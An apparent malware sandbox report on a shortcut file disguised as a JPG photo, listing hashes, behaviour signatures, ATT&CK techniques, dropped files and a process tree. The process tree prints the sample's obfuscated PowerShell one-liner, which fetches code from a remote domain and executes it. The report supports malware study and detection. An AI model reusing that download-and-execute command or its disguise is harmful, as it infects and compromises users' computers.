290114ee849f6010a31615cbd31b8e8a286f53fba3a4f9c1e4b871297a89d9c0

Analysis

max time kernel
150s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/07/2026, 07:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_182420.jpg.lnk
Size 1KB
Sample260728-jchtwa1erc
SHA256 290114ee849f6010a31615cbd31b8e8a286f53fba3a4f9c1e4b871297a89d9c0
MD5 342b87b4dcb21373107ec219fa9afee0
SHA1 662279a1bbaf0d092ccd194b80fef0a7b1a0fae6
SHA512 16e9e5db90c595a05338a278405645d3498cca193cdecd91d9fd329d749352ac6f9b7f46ea471276fbf39c6f9dcbce0502fb81e64f95a40dc493de57148828ca
TLSH
T16A21C1211BB2176CD6BB8B365876A31147317E0ADB558FDF138082945964114F478F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	4572	powershell.exe
20	4572	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4396	cmd.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4572	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4396 wrote to memory of 4572	4396	cmd.exe	87
PID 4572 wrote to memory of 956	4572	powershell.exe	95
PID 956 wrote to memory of 3524	956	csc.exe	96

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_182420.jpg.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('w.shop','no','reservphotoinstay')[2,1,0] -join $A010Kzn) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x11zmf4z\x11zmf4z.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:956
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB755.tmp" "c:\Users\Admin\AppData\Local\Temp\x11zmf4z\CSCB1228539E60148B68C3CEB964245190.TMP"
      4⤵
      PID:3524

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LICENSE.md

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\map-workspaces\LICENSE.md
Size 818B
SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
MD5 2916d8b51a5cc0a350d64389bc07aef6
SHA1 c9d5ac416c1dd7945651bee712dbed4d158d09e1
SHA512 508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74
TLSH
T14301128A62E62A9055D19F956DA2B89E61CCF0673903681430B4E24CDA7704AC07E414
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\metavuln-calculator\LICENSE
Size 754B
SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
MD5 d2cf52aa43e18fdc87562d4c1303f46a
SHA1 58fb4a65fffb438630351e7cafd322579817e5e1
SHA512 54e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16
TLSH
T1DC01208FB2E52AD454D19BA53DA1EC8961C9F0773D43AA0430B4E34CCBB780F98AB404
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\protobuf-specs\LICENSE
Size 11KB
SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
MD5 dfc1b916d4555a69859202f8bd8ad40c
SHA1 fc22b6ee39814d22e77fe6386c883a58ecac6465
SHA512 1fbe6bb1f60c8932e4dcb927fc8c8131b9c73afd824ecbabc2045e7af07b35a4155a0f8ad3103bf25f192b6d59282bfc927aead3cb7aaeb954e1b6dbd68369fa
SSDEEP 192:qf9qG4QSAVOSbwF1wOFXuFJyQtxmG3ep/7rlzKfHbxc+Xq0rhlkT8cHfH2:kOu9b01DY/rGBt+dc+aclkT8cH+
TLSH
T1B932722BBA4903771AF20162AB4764CEF31EA03F37591525315CC1682F7B96183FB69E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fetch.js

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\sign\dist\types\fetch.js
Size 79B
SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
MD5 24563705cc4bb54fccd88e52bc96c711
SHA1 871fa42907b821246de04785a532297500372fc7
SHA512 2ce8d2cf580623358fef5f4f8925d0c9943a657c2503c80048ca789bf16eacdb980bfc8aaaa50101a738e939926fcf2545500484dcad782c700ee206d8c6f9b9
TLSH
T1C4A01201A934C5F1038000C44525E0C1A0C10432006528A55BA84D65440088C5050001
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\commonjs\package.json
Size 28B
SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
MD5 56368b3e2b84dac2c9ed38b5c4329ec2
SHA1 f67c4acef5973c256c47998b20b5165ab7629ed4
SHA512 d662bff3885118e607079fcbeedb27368589bc0ee89f90b9281723fa08bda65e5a08d9640da188773193c0076ec0a5c92624673a6a961490be163e2553d6f482
MD5 SHA1 SHA512

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\esm\package.json
Size 26B
SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
MD5 2324363c71f28a5b7e946a38dc2d9293
SHA1 7eda542849fb3a4a7b4ba8a7745887adcade1673
SHA512 7437cf8f337d2562a4046246fbfcc5e9949f475a1435e94efbc4b6a55880050077d72692cbc3413e0ccd8f36adf9956a6cc633a2adc85fbff6c4aa2b8edac677
MD5 SHA1 SHA512

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\ignore-walk\LICENSE
Size 780B
SHA256 3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706
MD5 b020de8f88eacc104c21d6e6cacc636d
SHA1 20b35e641e3a5ea25f012e13d69fab37e3d68d6b
SHA512 4220617e29dd755ad592295bc074d6bc14d44a1feeed5101129669f3ecf0e34eaa4c7c96bbc83da7352631fa262baab45d4a370dad7dabec52b66f1720c28e38
TLSH
T1D501418FB2A12A8414D09B643DA1EC8971C9F03B3C43AA153074E258C7BB80F947A400
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\libnpmpack\LICENSE
Size 730B
SHA256 2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013
MD5 072ac9ab0c4667f8f876becedfe10ee0
SHA1 0227492dcdc7fb8de1d14f9d3421c333230cf8fe
SHA512 f38fd6506bd9795bb27d31f1ce38b08c9e6f1689c34fca90e9e1d5194fa064d1f34a9c51d15941506ebbbcd6d4193055e9664892521b7e39ebcd61c3b6f25013
TLSH
T1C001D08FA2D12AD454D59F643DA1BD4861C9F17B7D43AB043074E358DB7744F986A404
MD5 SHA1 SHA512 TLSH

Submit Download

RESB755.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESB755.tmp
Size 1KB
SHA256 468fda6ca5fadad91c3cbedee15e0a5b478b9452dbb8d5afa902ca689de02f5b
MD5 67c15551bd62182d49ce4f0ccc1a954c
SHA1 691fb3a50cde337937866d008438c8b1dfdb960c
SHA512 cc7f67073d7c21b5cdfc0fe36042fe7cfac27129137102993e81fc36b510795891e9e3a3d3ddf65ec7777f849d42a21881477cd7e9ef1601089e70cc2dd0099d
TLSH
T1DA21AB0583ED4B1FF073873269F6176BA228FD64EF62975A854042282C51508EEA0EB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_eaduhl2b.lxt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eaduhl2b.lxt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

x11zmf4z.dll

Path C:\Users\Admin\AppData\Local\Temp\x11zmf4z\x11zmf4z.dll
Size 3KB
SHA256 049fa55d2ddca2c3ec05a9f73b23226f058921649b3770bedd654a81a0815c47
MD5 3d84ba486e591858f7840d1c307438dd
SHA1 2a8cda5275d7d5cb26d219a6ed71498acc588a14
SHA512 0e557bc65d4bbb61ddac601bbfad3a6694c52f2e57304dbfd3f03afb12a7675f3953ab23b501a34e27b98a6bc39c43525a2004ce84c04db3f15f41f15af72e93
TLSH
T11751CA1697E8466BE4B70734AEE3076737B4FC148FB2536959800228AC617185E31BB0
MD5 SHA1 SHA512 TLSH

Submit Download

CSCB1228539E60148B68C3CEB964245190.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\x11zmf4z\CSCB1228539E60148B68C3CEB964245190.TMP
Size 652B
SHA256 34ee683ee94f92dba895c23548646564e3aafbdb54427222a9d2763c5315b61e
MD5 2cf2198d7c13ede00a7941a5125d9701
SHA1 634707d229e1f83c43c42cf77580baf959feb151
SHA512 52391f98e3e76d750ea104501063e73508bbf2422ea2bc62d1436e39b3a000ce82738b414bffae0079bf08b0eb3c3d3b27a6b2030278f0776fc0a8d54b72b128
TLSH
T140F05E0963F8420EF0F34B30BDF6436395A8BC64DE3293ED145403296C645148962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

x11zmf4z.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\x11zmf4z\x11zmf4z.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

x11zmf4z.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\x11zmf4z\x11zmf4z.cmdline
Size 369B
SHA256 f5aff2f5ca6ecb473d44c7fc44882981a1f2836e620a4f642f654e8151ad6270
MD5 e0ad1e9bce90b9723844f8eaabc40df8
SHA1 ad77cb6e786e5036353fec9a633c8ead7d570650
SHA512 d3de4c3292dd4ed77a0e6c7a1cb9259a9a432952d182d389cb22e08f6045a04b5367e1a26b8607d8b8746e2692290ec3bd47ee8c8fef00145d8fd9da7f1d5622
TLSH
T12EE0682A5B46C27D13FD100F25B9CEAC827616632B503F84D580480DD03700827D174E
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4572-32-0x000001B6D2030000-0x000001B6D203A000-memory.dmp

Download

memory/4572-24-0x000001B6D2010000-0x000001B6D2018000-memory.dmp

Download

memory/4572-31-0x000001B6EBE80000-0x000001B6EBE92000-memory.dmp

Download

memory/4572-28-0x000001B6D1F70000-0x000001B6D1F80000-memory.dmp

Download

memory/4572-3-0x000001B6D1F70000-0x000001B6D1F80000-memory.dmp

Download

memory/4572-26-0x000001B6D1F70000-0x000001B6D1F80000-memory.dmp

Download

memory/4572-27-0x000001B6D1F70000-0x000001B6D1F80000-memory.dmp

Download

memory/4572-11-0x000001B6EB140000-0x000001B6EB162000-memory.dmp

Download

memory/4572-25-0x000001B6D1F70000-0x000001B6D1F80000-memory.dmp

Download

memory/4572-2-0x000001B6D1F70000-0x000001B6D1F80000-memory.dmp

Download